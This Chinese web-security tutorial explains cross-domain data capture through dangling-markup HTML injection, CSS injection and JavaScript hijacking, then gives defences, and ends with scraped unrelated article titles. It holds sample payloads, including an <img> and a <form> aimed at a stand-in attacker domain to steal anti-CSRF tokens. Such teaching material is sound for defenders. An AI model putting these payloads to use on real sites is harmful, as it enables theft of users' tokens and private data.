目录

跨域捕获数据

1.1、简介:

1.2、通过注入HTML捕获数据

简介:

示例:

1.3、通过注入CSS捕获数据

简述:

1.4、JavaScript劫持

简述:

函数回调

JSON

变量分配

E4X

防止JavaScript劫持


跨域捕获数据

1.1、简介:

1、同源策略旨在防止在一个域中运行的代码访问由其他域提供的内容。因此跨站点请求伪造攻击通常被称为"单向"攻击。虽然一个域可以向另一个域提供请求,但它很难读取这些请求的响应,从而从其他域中窃取用户数据。

2、实际上在某些情况下,有各种攻击技巧可用于从其他域中捕获整个或部分响应。通常这些攻击会对目标应用程序某方面的功能及常见浏览器的某个功能加以综合利用,从而突破同源策略防卸,实现跨域捕获数据的目的。

1.2、通过注入HTML捕获数据

简介:

1、与利用XSS漏洞不同,攻击者可以利用许多应用程序提供的功能,在其他用户收到的响应中注入一段有限的HTML。如Web邮件应用程序可能会显示包含某个HTML标记的电子邮件,但会阻止可用于执行脚本代码的任何标签和属性。或动态生成的错误消息可能会过滤一系列表达式, 但仍然允许有限使用HTML。

2、在这些情况下,就可以利用HTML注入条件向攻击者所在的域发送页面中的敏感数据,如在Web邮件应用程序中,攻击者或许可以捕获私人电子邮件的内容。或攻击者也许可以读取页面中使用的反CSRF令牌,从而实施CSRF攻击,将用户的电子邮件转发到任意地址


示例:

如果在注入点之后, 页面包含了一个提供CSRF令牌的HTML表单

1、方法一:

攻击者可以在响应中注入文本:<img src='http://mdattacker.net/capture?html=

这段HTML将打开一个指向攻击者域中的URL的图像标签,该URL包含在单引另内,但URL字符串并未终止,<img>标签也没有结束。这会导致浏览器将注入点之后的文本视为URL的一部分, 直到遇到单引号,也就是响应中随后出现引用的JavaScript字符串的位置,浏览器接受各种插入字符, 也允许URL跨越多行。

用户的浏览器处理攻击者注入的响应时,它会尝试提取指定的图像,并向URL提出请求,从而向攻击者的域中发送敏感的反CSRF令牌

2、方法二:

另一个攻击可以注人文本:<form action="http://mdattacker.net/capture" method="POST">

此攻击在应用程序本身使用的<form>标签之前注入一个指定攻击者域的<form>标签。在这种情况下,浏览器在遇到嵌入的<form>标签时,它们将忽略该标签,并在遇到第一个<form>标签的情况下处理表单。如果用户提交表单表单的所有参数,包括敏感的反CSRF令牌,将被提交到攻击者的服务器中

由于此攻击仅注入了格式正常的HTML,因此能够更有效地避开那些旨在允许回显的输入中的HTML子集的过滤。但这种攻击也需要用户干预,在某些情况下,这可能会降低它的效率

1.3、通过注入CSS捕获数据

简述:

1、一般应用程序会阻止或对注入的输入中的<和>字符进行HTML编码,防止攻击者插入任何新的HTML标签。Web应用程序中大多存在此类纯文本注入条件,并且人们通常认为这种条件不会造成危险


2、例如,在一个Web邮件应用程序中,攻击者可以通过电子邮件主题行在目标用户的响应中注入有限的文本。在这种情况下,攻击者可以通过在应用程序中注入CSS来跨域捕获敏感数据。

假设攻击者发送带主题行的电子邮件为:{ }*{font-family

由于其中不包含任何HTML元字符,大多数用户都接受并在收件人用户的响应中显示这段代码

此响应中包含HTML,但浏览器将该响应加载为CSS样式表将正常处理其中包含的任何CSS定义。在这段代码中, 注入的响应定义了CSS font-family属性,并将一个引用的字符串作为属性定义。攻击者注入的文本并未终止该字符串,因此该字符串会一直持续到响应的剩余部分,包括包含敏感的反CSRF令牌的隐藏表单字段(CSS定义不需要被引用,但如果没有引用CSS定义,它们可能会在下一个分号位置终止,而该分号可能出现在攻击者希望捕获的敏感数据之前。)


3、要利用这种行为,攻击者需要在自己的域中创建一个页面,在其中包含CSS样式表形式的注入响应,这会在攻击者自己的页面中应用任何嵌入的CSS定义,攻击者可以使用JavaScript来查询这些定义,从而检索捕获的数据

1.4、JavaScript劫持

简述:

1、JavaScript劫持提供了另一种跨域捕获数据的方法,从而将CSRF转换为一种有限的"双向"攻击。同源策略允许一个域包含其他域的脚本代码,并且该代码可以在调用域、而不是发布域中运行。只要可执行的应用程序响应使用仅包含非敏感代码(可由任何应用程序用户访问的静态代码)的跨域脚本,这种规定就不会造成危险。但有的应用程序都使用JavaScript来传输敏感数据,并且其传输方式并不受同源策略的限制。此外随着浏览器技术的发展, 许多语法都可以作为有效的JavaScript执行,这为跨域捕获数据提供了新的机会。

2、应用程序设计方面的变化也为使用JavaScript从服务器向客户端传输敏感数据提供了新的方法。许多时候,要通过向服务器提供异步清求更新用户界面,一种快速有效的方法是动态插入脚本代码, 并在其中以某种形式包含需要显示的特定的用户数据。


函数回调

1、以一个应用程序为例,它在当前用户单击相应的选项卡时,在用户界面中显示该用户的个人信息。为提供无缝的用户体验,应用程序使用异步请求提取用户信息,当用户单击个人资源选项卡时,某段客户端代码将动态包含一个脚本(如https://xxx.com/../../YourDetailsJson.ashx)

2、针对此URL的响应包含一个函数回调(如showUserInfo),该函数在UI中显示用户个人资料

3、在这种情况下,攻击者可以创建一个执行showUserInfo函数的页面,并在其中包含传送个人信息的脚本,从而捕获用户的个人资源

4、如果用户在访问攻击者的页面的同时,还登录了某个易受攻击的应用程序,则攻击者的页面将动态插入包含用户个人伯息的脚本,该脚本将调用showUserlnfo函数,由攻击者实施时,它将接收用户的个人资料, 包括用户的密码


JSON

JSON是一种灵活的数据表示形式,并且可以由JavaScript解释器直接处理。在旧版本的Firefox中,攻击者可以执行一次跨域脚本包含攻击,通过覆盖JavaScirpt中的默认Array构造函数来捕获数据


变量分配

1、以一个社交网络应用程序为例,该应用程序大量使用异步请求来执行各种操作,如更新状态、添加好友和发布评论。为提供快速无缝的用户体验,一部分用户界面使用动态生成的脚本加载。为防止标准的CSRF攻击,这些脚本中包含了反CSRF令牌,以便在执行敏感操作时使用,利用在动态脚本中插入这些令牌导致的漏洞,攻击者可以通过跨域包含相关脚本来捕获令牌。

2、假设xxx.com上的应用程序返回包含以下代码的脚本

function setStatus (status)

{

a = '1242131241'

}

攻击者可以实施以下攻击:

<script src="https//xxx.com/status">
</script>

<script>
        alert(a);
</script>

3、针对不同的变量分配情形,攻击者可以采用各种其他技巧,在某些情况下,攻击者可能需要在一定程度上模仿目标应用程序的客户端逻辑,才能包含该程序的部分脚本并捕获敏感数据。


E4X

1、E4X成为一个快速发展的领域,为应对在各种实际应用程序中发现的各种可利用条件,开发者一直在对浏览器进行更新。

2、E4X是对ECMAScript语言(包括JavaScnpt)的扩展,后者可为XML语言添加本地支持,尽管其中的漏洞已经修复,但Firefox在E4X的处理方式上仍存在漏洞,可用于跨域捕获数据。除了允许在JavaScript中直接使用XML语法外,用户还可以在E4X嵌入代码,以调用XML中的JavaScript

3、E4X的这些特性导致了两个严重的后果,可用于实施跨域数据捕获攻击:

A、结构正确的XML标记将被视为不会分配给任何变量的值

B、嵌入{……}块中的文本将作为JavaScript执行,用于对XML数据的相关部分进行初始化

4、许多结构正确的HTML也是结构正确的XML,意味着它们可以由E4X进行处理。此外许多HTML都在{……}块中包含提供敏感数据的脚本代码

5、利用与之前所述的CSS注入攻击类似的技巧,攻击者有时可以在目标应用程序的HTML响应中的适当位置注入文本,在该响应中的敏感数据周围插入任意的{……}块。然后攻击者可以跨域包含整个响应,将其作为脚本执行,以捕获其中包含的数据


防止JavaScript劫持

实施JavaScript劫持攻击必须满足几个前提条件。因此要防止这种攻击, 必须违反其中至少一个前提条件。要获得深层保护,建议在防御攻击时同时采用多种防范措施

1、执行敏感操作的请求,应用程序应使用标准的反CSRF防御来阻止跨域请求返回任何包含敏感数据的响应

2、当应用程序从它自己的域中动态执行JavaScript代码时,并不仅限于使用<script>标签来包含脚本。因为请求为本站请求,客户端代码可以使用XML HttpRequest检索原始响应并进行其他处理,然后再将其作为脚本执行。这意味着,应用程序可以在响应的开始部分插入无效或有问题的JavaScript,客户端应用程序在处理脚本前,将会删除这些内容。

3、由于应用程序可以使用XML HttpRequest检索动态脚本,因此它也可以使用POST请求完成这个任务。如果应用程序仅接受使用POST请求访问可能易受攻击的脚本代码,它就能够阻止第三方站点将它们包含在<script>标签内

【web-攻击用户】(9.4)跨域捕获数据——通过注入HTML捕获数据、注入CSS捕获数据、JavaScript劫持相关推荐

  1. web漏洞挖掘指南-前端跨域漏洞

    web漏洞挖掘指南 前端跨域漏洞 一.何为跨域 1.设想一种场景,一个恶意网站上嵌入了一个iframe标签去加载银行的登陆页面,高度和宽度的设置和真实的银行官网一样,当用户访问恶意网站并登录时,攻击者 ...

  2. ASP.NET MVC (四、ASP.NET Web API应用程序与跨域操作)

    目录 前言: 1.创建MVC项目 2.修改返回格式 3.创建[Web API]控制器 4.创建[HttpGet]访问接口 5.创建[HttpPost]访问接口 6.测试接口: 6.1.执行:点击[调试 ...

  3. Web笔记-使用jsonp解决跨域请求(CROS)问题

    目录 基本概念 代码与实例 基本概念 当我在某web站点,这个站点里面发出了像其他站点的请求(不同链接,或者同一链接的不同端口),是会失败的,因为是浏览器的安全检测问题,当然,这个只是主流浏览器的功能 ...

  4. WEB HLS播放器 及 跨域配置

    flash被禁用后,网页端直播的方式就很少了, 最通用和方便的方式就是HLS,但这个M3U8的流又不能被众多PC浏览直接支持,只小众的CHROM能用.所以就有了这个HlS的js播放器. 原理其实说起来 ...

  5. Web - H5 - 解决下载图片跨域问题

    在互联网,没有绝对的安全! 这个就是写这篇文章的最大感受~ 代码实现 首先什么也别说,先来看看 能够直接看代码: function getImgBlob(imgUrl) {return new Pro ...

  6. HTTP访问控制(CORS) 跨域访问

     当一个资源请求一个其它域名的资源时会发起一个跨域HTTP请求(cross-origin HTTP request).比如说,域名A(http://domaina.example)的某 Web 应 ...

  7. 《内网安全攻防:渗透测试实战指南》读书笔记(七):跨域攻击分析及防御

    目录 前言 一.跨域攻击方法 二.利用域信任关系的跨域攻击 1.域信任简介 2.获取域信息 3.利用域信任秘钥(NTLM Hash)获取目标域的权限 4.利用krbtgt散列值获取目标域的权限 5.利 ...

  8. 手绘10张图,把CSRF跨域攻击、JWT跨域认证说得明明白白的

    作者 | 写代码的明哥 来源 | Python编程时光 这篇文章本应该是属于 HTTP 里的一部分内容,但是我看内容也挺多的,就单独划分一篇文章来讲下. 什么是跨域请求 要明白什么叫跨域请求,首先得知 ...

  9. Web跨域请求及其解决方案

    目录 一.理论概述 1. 什么是跨域请求(Cross-domain Request) 2. 浏览器的同源策略(Same-origin Policy) 3. 存在的安全风险 4. CSRF攻击简介 二. ...

  10. Web学习之跨域问题及解决方案

    Web学习之跨域问题及解决方案 javascript/jquery 浏览数:161 2017-5-8 在做前端开发时,我们时常使用ajax与服务器通信获取资源,享受ajax便利的同时,也知道它有限制: ...

最新文章

  1. 赛思信安携手太极 助力《甘肃省公安厅大数据警务云》项目
  2. MariaDB Galera Cluster环境搭建及高可用测试
  3. 第三章 改进神经网络的学习方式(中下)
  4. Fabric--测试链码
  5. 利用Python实现用户群组分析!
  6. java gui 移动_JavaGUI如图:当鼠标按left按钮,右边的字会移动到左边按 爱问知识人...
  7. pillow是python的图像处理标准库_Python图像处理库:Pillow 初级教程
  8. oracle lpad 字符集,oracle Lpad()函数和Rpad()函数的用法
  9. ipad如何连接电脑_台式电脑如何连接蓝牙耳机
  10. Infosys:印度信息技术巨头公司
  11. linux内核启动的优化
  12. 深度操作系统 V15.11——心随意动 畅享云端
  13. 计算机服务添加打印机服务,无法添加打印机报错后台程序服务没有运行的解决方法...
  14. 【Unity】游戏音效制作工具
  15. 日期类超详解(c++入门)
  16. 如何避免淘宝拼多多比价订单?教你应对
  17. 在3小时内学习Kubernetes:编排容器的详细指南
  18. Spark调优之推测执行
  19. 深度学习声纹识别_声纹识别:你的声音是这样被“破译”的!
  20. centos7.9使用gn+ninja编译程序

热门文章

  1. 华为g9一直显示服务器错误,华为G9青春版失败变砖开不了机了怎么办_G9青春版救砖方法...
  2. UWA 技术分享连载 转载
  3. [附源码]java毕业设计旅游网站
  4. ECharts 数据可视化插件
  5. 数学专业英语 -- 组合分析和数值分析
  6. Robocup 2D 的学习
  7. Redux 的基本使用
  8. 电脑鸿蒙系统怎么连接无线网络,三星笔记本电脑怎么连接无线网wifi
  9. 崩坏三精准池python模拟
  10. c语言电话本程序代码,C语言程序设计之电话簿